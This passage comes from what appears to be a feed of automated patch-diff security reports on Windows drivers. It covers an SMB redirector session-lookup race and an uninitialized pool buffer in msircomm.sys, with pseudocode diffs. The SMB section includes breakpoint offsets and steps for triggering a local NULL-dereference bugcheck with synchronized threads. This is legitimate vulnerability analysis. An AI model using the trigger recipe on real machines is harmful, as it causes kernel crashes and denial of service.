&lt;p&gt;&lt;strong&gt;Key Offsets:&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x140008841&lt;/code&gt;: &lt;code&gt;ExReleaseSpinLockExclusive&lt;/code&gt; — end of the locked region.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x14000885b&lt;/code&gt;: &lt;code&gt;call CheckCredentials&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;0x140008A56&lt;/code&gt;: NULL-deref sink inside &lt;code&gt;CheckCredentials&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Trigger Setup:&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Set the breakpoints above.&lt;/li&gt;
&lt;li&gt;Spawn 10+ threads in one process, gated on a &lt;code&gt;CreateEvent&lt;/code&gt; barrier.&lt;/li&gt;
&lt;li&gt;Have all threads call &lt;code&gt;CreateFile(L"\\\\SERVER\\SHARE\\test", ...)&lt;/code&gt; for the same share.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Signal the event to release them simultaneously; a slow-negotiating server widens the setup window.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Expected Observation:&lt;/strong&gt;
  If the race is won with a credential-less entry, a bugcheck (e.g. &lt;code&gt;0x50&lt;/code&gt;) occurs at &lt;code&gt;0x140008A56&lt;/code&gt;. The &lt;code&gt;SeAccessCheck&lt;/code&gt; call at &lt;code&gt;0x14005A53B&lt;/code&gt; is not reached with an invalid descriptor because of the null checks at &lt;code&gt;0x1400088CF&lt;/code&gt;/&lt;code&gt;0x1400088D8&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;The diff is dominated by the &lt;code&gt;Feature_Servicing_AlternativePort_Dcr&lt;/code&gt; rollout (alternative-port / transport-address plumbing) and a few unrelated WIL feature stagings (&lt;code&gt;Feature_Servicing_AllowFileIdZeroOnShareRoot&lt;/code&gt;, &lt;code&gt;Feature_Servicing_SmbCompressionOverQuicFix&lt;/code&gt;). Every pre-patch behavior that the feature changes is retained verbatim under an &lt;code&gt;_Old&lt;/code&gt; twin and selected by a runtime feature check, i.e. staged rollout.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SmbCeFindSessionEntry&lt;/code&gt; (&lt;code&gt;@ 0x140008700&lt;/code&gt;) → new &lt;code&gt;SmbCeFindSessionEntry&lt;/code&gt; (&lt;code&gt;@ 0x1400334F0&lt;/code&gt;), old retained as &lt;code&gt;SmbCeFindSessionEntry_Old&lt;/code&gt; (&lt;code&gt;@ 0x1400476D4&lt;/code&gt;)&lt;/strong&gt; (Security-relevant): Adds &lt;code&gt;ExBlockOnAddressPushLock&lt;/code&gt; waits on initialization flags &lt;code&gt;+0x230&lt;/code&gt;/&lt;code&gt;+0x231&lt;/code&gt; before using a matched session entry. Worst demonstrable impact of the unsynchronized path is a local NULL-deref bugcheck. See the finding above.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SmbCeDecrementActiveVNetRootContextsOnSession&lt;/code&gt; (unpatched &lt;code&gt;@ 0x140008F60&lt;/code&gt; / patched &lt;code&gt;@ 0x14001BA30&lt;/code&gt;)&lt;/strong&gt; (Security-relevant, companion): The patched version sets the transport-init flag &lt;code&gt;+0x231&lt;/code&gt; and calls &lt;code&gt;ExUnblockOnAddressPushLockEx(entry+0x238, 0)&lt;/code&gt; to wake threads blocked in the new lookup. The unpatched version has no such wake.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SmbCeFindOrConstructSessionEntry&lt;/code&gt; (unpatched &lt;code&gt;@ 0x1400081E0&lt;/code&gt; / patched &lt;code&gt;@ 0x14001A980&lt;/code&gt;)&lt;/strong&gt; (Behavioral): Dispatches to &lt;code&gt;SmbCeFindSessionEntry&lt;/code&gt; vs &lt;code&gt;SmbCeFindSessionEntry_Old&lt;/code&gt; via &lt;code&gt;Feature_Servicing_AlternativePort_Dcr&lt;/code&gt;; passes an extra output parameter for the new path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;MRxSmbValidateAndGetTransportParameters&lt;/code&gt; (&lt;code&gt;@ 0x140030D30&lt;/code&gt;)&lt;/strong&gt; (Behavioral, not security-relevant): The pre-patch parser is retained verbatim as &lt;code&gt;MRxSmbValidateAndGetTransportParameters_Old&lt;/code&gt; (&lt;code&gt;@ 0x14003E2D0&lt;/code&gt;); the feature path adds a boolean gate and the new &lt;code&gt;MRxSmbValidateIncomingPortsAgainstEffective&lt;/code&gt; port-consistency check. The parsed "TransportInfo" EA and the &lt;code&gt;+0x344&lt;/code&gt; target belong to the caller's own outbound connection; no privilege boundary is crossed. See Finding 2 in the companion report.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SmbCeInitializeConnectionInfo&lt;/code&gt; (&lt;code&gt;@ various&lt;/code&gt;)&lt;/strong&gt; (Behavioral): Adds a pointer-overflow guard and dialect/port-aware selection via the alternative-port helpers; no standalone vulnerability fix.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;RxCeEstablishConnection&lt;/code&gt; / &lt;code&gt;RxCeInitializeConnectionCallOutContext&lt;/code&gt; / &lt;code&gt;VctEstablishConnection&lt;/code&gt;&lt;/strong&gt; (Behavioral): Each retained as an &lt;code&gt;_Old&lt;/code&gt; twin and split into helper routines for the alternative-port path (feature-gated refactor).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;RxCeGetPortFrom{Policy,Registry}ServerTransportPortMappings&lt;/code&gt;&lt;/strong&gt; (Behavioral): Retained as &lt;code&gt;_Old&lt;/code&gt; twins; the feature path uses the new &lt;code&gt;SmbCeGetPortFrom{Policy,Registry}...&lt;/code&gt; and port-scope lookups.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;sub_140009D00&lt;/code&gt;, &lt;code&gt;sub_14001CEEC&lt;/code&gt;, &lt;code&gt;MRxSmbProcessClientMoveNotification&lt;/code&gt;, &lt;code&gt;sub_140030080&lt;/code&gt;, &lt;code&gt;sub_14000A850&lt;/code&gt;, &lt;code&gt;MRxSmbCreateVNetRoot&lt;/code&gt;, &lt;code&gt;sub_14008A220&lt;/code&gt;/&lt;code&gt;sub_14008D5A0&lt;/code&gt;&lt;/strong&gt; (Behavioral/cosmetic): Dialect/port-aware dispatch, structure-offset adjustments, and minor guard additions consistent with the expanded transport structures.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;New functions introduced by the feature rollout include &lt;code&gt;SmbCeFindSessionEntry_Old&lt;/code&gt;, &lt;code&gt;MRxSmbValidateAndGetTransportParameters_Old&lt;/code&gt;, &lt;code&gt;MRxSmbValidateIncomingPortsAgainstEffective&lt;/code&gt;, the &lt;code&gt;SmbCe*PortScopeEntry*&lt;/code&gt; / &lt;code&gt;SmbCeComputeEffectivePort*&lt;/code&gt; / &lt;code&gt;SmbCeGetPortFrom*&lt;/code&gt; helpers, and the &lt;code&gt;RxCe*_Old&lt;/code&gt; / &lt;code&gt;Vct*_Old&lt;/code&gt; twins. All are alternative-port / feature-staging plumbing.&lt;/p&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High on the mechanism and direction: the patched build adds &lt;code&gt;ExBlockOnAddressPushLock&lt;/code&gt; waits on new &lt;code&gt;+0x230&lt;/code&gt;/&lt;code&gt;+0x231&lt;/code&gt; flags in the session-entry lookup, with the constructing side signaling via &lt;code&gt;ExUnblockOnAddressPushLockEx&lt;/code&gt;, and the pre-patch path retained as &lt;code&gt;SmbCeFindSessionEntry_Old&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Impact rating:&lt;/strong&gt; Low. The reachable worst case is a local kernel bugcheck (DoS). The &lt;code&gt;SeAccessCheck&lt;/code&gt; call site null-checks its inputs, so there is no authentication bypass; the entry is zero-initialized pool, so there is no information-leak or memory-corruption primitive; and the path is local-only. Even the NULL-deref requires winning a narrow timing window against an entry whose security-context pointer is legitimately NULL.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rollout:&lt;/strong&gt; The change is feature-gated (&lt;code&gt;Feature_Servicing_AlternativePort_Dcr&lt;/code&gt;) with the old path retained, i.e. a staged rollout rather than an unconditional fix.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>msircomm.sys — Uninitialized PagedPool device-name buffer zeroed before IoGetDeviceProperty (CWE-908), defense-in-depth hardening fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/msircomm_bf0ec8a1-msircomm-report-20260703-143616.html" rel="alternate"/><published>2026-07-03T00:00:00-07:00</published><updated>2026-07-03T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-07-03:/drift-corpus/item/msircomm_bf0ec8a1-msircomm-report-20260703-143616.html</id><summary type="html">&lt;p&gt;KB5078752&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;msircomm_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;msircomm_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; 0.9915&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Matched Functions: 100&lt;/li&gt;
&lt;li&gt;Changed Functions: 2&lt;/li&gt;
&lt;li&gt;Identical Functions: 98&lt;/li&gt;
&lt;li&gt;Unmatched Functions (Unpatched/Patched): 0 / 0&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch adds two &lt;code&gt;memset&lt;/code&gt; (zero-fill) calls immediately after two &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; allocations. The change in &lt;code&gt;IrCommHandleSymbolicLink&lt;/code&gt; zeroes a 514-byte (&lt;code&gt;0x202&lt;/code&gt;) PagedPool buffer that is only partially filled by &lt;code&gt;IoGetDeviceProperty&lt;/code&gt;, a genuine but low-impact CWE-908 (Use of Uninitialized Resource) hardening. The change in &lt;code&gt;DriverEntry&lt;/code&gt; zeroes the registry-path copy buffer, but that buffer is already fully initialized in both builds, so it is a redundant defense-in-depth change with no residue window. No demonstrable kernel-memory disclosure to user mode was found in either build.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: Uninitialized device-name pool buffer passed to IoGetDeviceProperty&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Use of Uninitialized Resource (CWE-908)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;IrCommHandleSymbolicLink&lt;/code&gt; @ &lt;code&gt;0x1C00015C0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; During PnP device symbolic-link setup and teardown, the routine allocates a second 514-byte (&lt;code&gt;0x202&lt;/code&gt;) PagedPool buffer for &lt;code&gt;DeviceName.Buffer&lt;/code&gt;. In the unpatched build this buffer is not zeroed before it is handed to &lt;code&gt;IoGetDeviceProperty(DevicePropertyPhysicalDeviceObjectName, ...)&lt;/code&gt;, which writes only &lt;code&gt;ResultLength&lt;/code&gt; bytes (the physical device object name, typically well under &lt;code&gt;0x200&lt;/code&gt;). The remaining bytes of the allocation are left holding stale pool contents.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachability and observable impact:&lt;/strong&gt; The buffer is consumed only in ways that are bounded to the returned name, so the uninitialized tail is not exposed to user mode in the code as written:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IoCreateSymbolicLink(&amp;amp;Destination, &amp;amp;DeviceName)&lt;/code&gt; uses &lt;code&gt;DeviceName&lt;/code&gt; as a counted &lt;code&gt;UNICODE_STRING&lt;/code&gt; whose &lt;code&gt;Length&lt;/code&gt; is set to &lt;code&gt;ResultLength - 2&lt;/code&gt;, i.e. exactly the physical device object name; the residue past that length is not part of the link target.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RtlWriteRegistryValue(4, "SERIALCOMM", DeviceName.Buffer, ...)&lt;/code&gt; and &lt;code&gt;RtlDeleteRegistryValue(4, "SERIALCOMM", DeviceName.Buffer)&lt;/code&gt; pass &lt;code&gt;DeviceName.Buffer&lt;/code&gt; as a NUL-terminated value name; the read stops at the terminator &lt;code&gt;IoGetDeviceProperty&lt;/code&gt; places within &lt;code&gt;ResultLength&lt;/code&gt;.
  Because both consumers stop at the legitimate name, no user-mode-observable disclosure of the uninitialized bytes is demonstrable. The patch is a defense-in-depth zeroing of a partially-filled pool buffer. It is additionally reached only via PnP &lt;code&gt;AddDevice&lt;/code&gt;/&lt;code&gt;IRP_MN_REMOVE_DEVICE&lt;/code&gt; (device attach/detach or reinstall), not an unprivileged IOCTL surface.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Call Chain:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;PnP &lt;code&gt;AddDevice&lt;/code&gt; → &lt;code&gt;IrCommAddDevice&lt;/code&gt; (&lt;code&gt;0x1C0001010&lt;/code&gt;) → &lt;code&gt;IrCommHandleSymbolicLink(PDO, InterfaceName, create)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IRP_MJ_PNP&lt;/code&gt; with &lt;code&gt;MinorFunction == 2&lt;/code&gt; (&lt;code&gt;IRP_MN_REMOVE_DEVICE&lt;/code&gt;) → &lt;code&gt;IrCommPnP&lt;/code&gt; (&lt;code&gt;0x1C0001290&lt;/code&gt;) → &lt;code&gt;IrCommHandleSymbolicLink(PDO, InterfaceName, delete)&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2: Redundant zero-fill of the DriverEntry registry-path buffer&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; No security-relevant change&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; N/A (redundant defense-in-depth zeroing)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;DriverEntry&lt;/code&gt; @ &lt;code&gt;0x1C000C008&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause / Assessment:&lt;/strong&gt; During driver initialization a PagedPool buffer of &lt;code&gt;RegistryPath-&amp;gt;Length + 2&lt;/code&gt; bytes is allocated to hold a copy of the registry path. In &lt;strong&gt;both&lt;/strong&gt; builds the buffer is fully initialized before use: &lt;code&gt;memmove&lt;/code&gt; copies exactly &lt;code&gt;RegistryPath-&amp;gt;Length&lt;/code&gt; bytes into the first part, and the instruction &lt;code&gt;*(WORD*)(buf + Length/2) = 0&lt;/code&gt; writes a NUL terminator word into the final 2 bytes, covering the whole &lt;code&gt;Length + 2&lt;/code&gt; allocation. The patched build adds a &lt;code&gt;memset(buf, 0, Length + 2)&lt;/code&gt; before the &lt;code&gt;memmove&lt;/code&gt;, but since every byte is subsequently written, there is no uninitialized/residue window in either build. This is a redundant hardening change, not a fix for a disclosure.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;IrCommHandleSymbolicLink&lt;/code&gt; (&lt;code&gt;0x1C00015C0&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED ===&lt;/span&gt;
&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x202u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x6F437249u&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// No zeroing of the newly allocated 0x202 buffer.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RegistryKeyValue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoGetDeviceProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;PhysicalDeviceObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DevicePropertyPhysicalDeviceObjectName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MaximumLength&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ResultLength&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RegistryKeyValue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ResultLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// counted length = PDO name&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IoCreateSymbolicLink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Destination&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;RtlWriteRegistryValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;SERIALCOMM&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                                      &lt;/span&gt;&lt;span class="n"&gt;Destination&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Destination&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED ===&lt;/span&gt;
&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x202u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x6F437249u&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MaximumLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// ADDED: zero full allocation&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RegistryKeyValue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoGetDeviceProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;PhysicalDeviceObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DevicePropertyPhysicalDeviceObjectName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MaximumLength&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ResultLength&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... identical to unpatched below this point ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;DriverEntry&lt;/code&gt; (&lt;code&gt;0x1C000C008&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED ===&lt;/span&gt;
